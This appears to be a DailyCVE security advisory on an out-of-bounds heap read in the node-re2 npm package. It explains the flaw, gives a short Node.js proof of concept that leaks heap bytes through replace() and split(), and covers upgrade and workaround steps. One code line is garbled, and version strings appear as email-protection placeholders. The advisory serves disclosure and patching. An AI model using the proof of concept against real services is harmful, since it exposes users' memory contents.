node-re2 (npm re2), Out-of-bounds Heap Read, CVE-2026-71498 (Medium) -DC-Aug2026-1450

Listen to this Post

The `re2` npm package provides Node.js bindings for Google’s RE2 regular expression engine. Prior to version 1.26.1, a vulnerability existed in how the native addon handled `Buffer` inputs containing incomplete multi-byte UTF-8 sequences.
At the core of the issue is the `getUtf8CharSize` function in the native C++ code. This function determines the total byte length of a UTF-8 character based solely on its lead byte. For instance, a lead byte like `0xF0` indicates a 4-byte character. However, the function does not validate that the required number of continuation bytes are actually present in the input buffer.
When a `Buffer` is passed to methods like `replace()` or split(), it reaches the native layer exactly as-is. Unlike JavaScript strings, which are re-encoded into well-formed UTF-8, `Buffer` data is used verbatim. If the final byte of the `Buffer` is a lead byte for a multi-byte sequence, the native code trusts the `getUtf8CharSize` function and attempts to read the expected number of bytes.
The guard condition in the vulnerable code paths, such as offset < size, only ensures at least one byte remains. This allows a scenario where `offset` points to the last byte of the buffer, which is a multi-byte lead byte. The code then reads 1 to 3 bytes past the end of the allocated buffer, into adjacent heap memory.
This out-of-bounds read is deterministic and requires no heap grooming to trigger. In the case of `replace()` and split(), these over-read bytes are copied directly into the resulting `Buffer` that is returned to JavaScript, leading to an information disclosure. The impact is an out-of-bounds heap read that can leak up to 3 bytes of adjacent heap memory per call.
The issue was discovered by security researcher @OvOhao and is tracked as GitHub advisory GHSA-j4r3-hg7j-8chg.

DailyCVE Form:

Platform: Node.js npm
Version: < 1.26.1
Vulnerability : Out-of-bounds Read
Severity: Medium (5.1)
date: 2026-08-06

Prediction: Already Patched

What Undercode Say:

Check installed version of re2
npm list re2
Update to the patched version
npm install [email protected]

Exploit:

The vulnerability can be triggered by passing a `Buffer` that ends with a truncated multi-byte UTF-8 character to the `replace()` or `split()` methods.

Proof of Concept (PoC):

const RE2 = require('re2');
// Helper to convert buffer to hex string
const hex = buf => [...buf].map(b => b.toString(16).padStart(2, '0')).join(' ');
// 1. Vulnerable replace() with a 2-byte subject buffer ending in 0xF0 (4-byte lead)
// This reads 3 bytes past the end of the buffer.
console.log(hex(new RE2('', 'g').replace(Buffer.from([0x41, 0xf0]), '')));
// Example output: 41 f0 61 7b eb
// 2. Vulnerable replace() with a replacement buffer ending in 0xF0
console.log(hex(new RE2('A', 'g').replace(Buffer.from('A'), Buffer.from([0x42, 0xf0]))));
// Example output: 42 f0 41 26 d6
// 3. Vulnerable split() with a 2-byte subject buffer ending in 0xF0
console.log(new RE2('', 'g').split(Buffer.from([0x41, 0xf0])).map(hex));
// Example output: [ '41', 'f0 e2 e4 df' ]

Pattern Path (No Disclosure):

The over-read also occurs in `translateRegExp` and `escapeRegExp` during pattern compilation. However, RE2 subsequently rejects the malformed pattern, so the over-read bytes are discarded and not returned to JavaScript.

try {
new RE2(Buffer.from([bash])); // Throws SyntaxError: invalid UTF-8
} catch (e) {
console.log('Pattern rejected, but over-read already occurred.');
}

Protection:

The vulnerability is fixed in [email protected]. All seven vulnerable read sites now clamp the character size to the remaining bytes in the buffer.

Remediation:

  • Upgrade: Immediately upgrade to `[email protected]` or later.
    npm install [email protected]
    
  • Workaround (if upgrade is not possible):
  • Pass JavaScript strings instead of `Buffer` objects, as they are always re-encoded into complete UTF-8 sequences.
  • Validate that any `Buffer` input is well-formed UTF-8 before passing it to the `re2` library.
    const buf = Buffer.from([0x41, 0xf0]);
    const isValid = Buffer.compare(buf, Buffer.from(buf.toString('utf8'))) === 0;
    if (!isValid) {
    // Handle invalid UTF-8 input
    }
    

Impact

  • Information Disclosure: An attacker who controls a `Buffer` passed to `replace()` or `split()` can read up to 3 bytes of adjacent heap memory per call. This memory may contain fragments of other buffers, potentially exposing sensitive data. The read is repeatable, allowing an attacker to sample heap memory incrementally.
  • Out-of-bounds Read (Pattern Compilation): Although the over-read during pattern compilation does not leak data back to JavaScript, it is still undefined behavior. This could lead to a crash or fault if the buffer is located at the end of a memory page.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top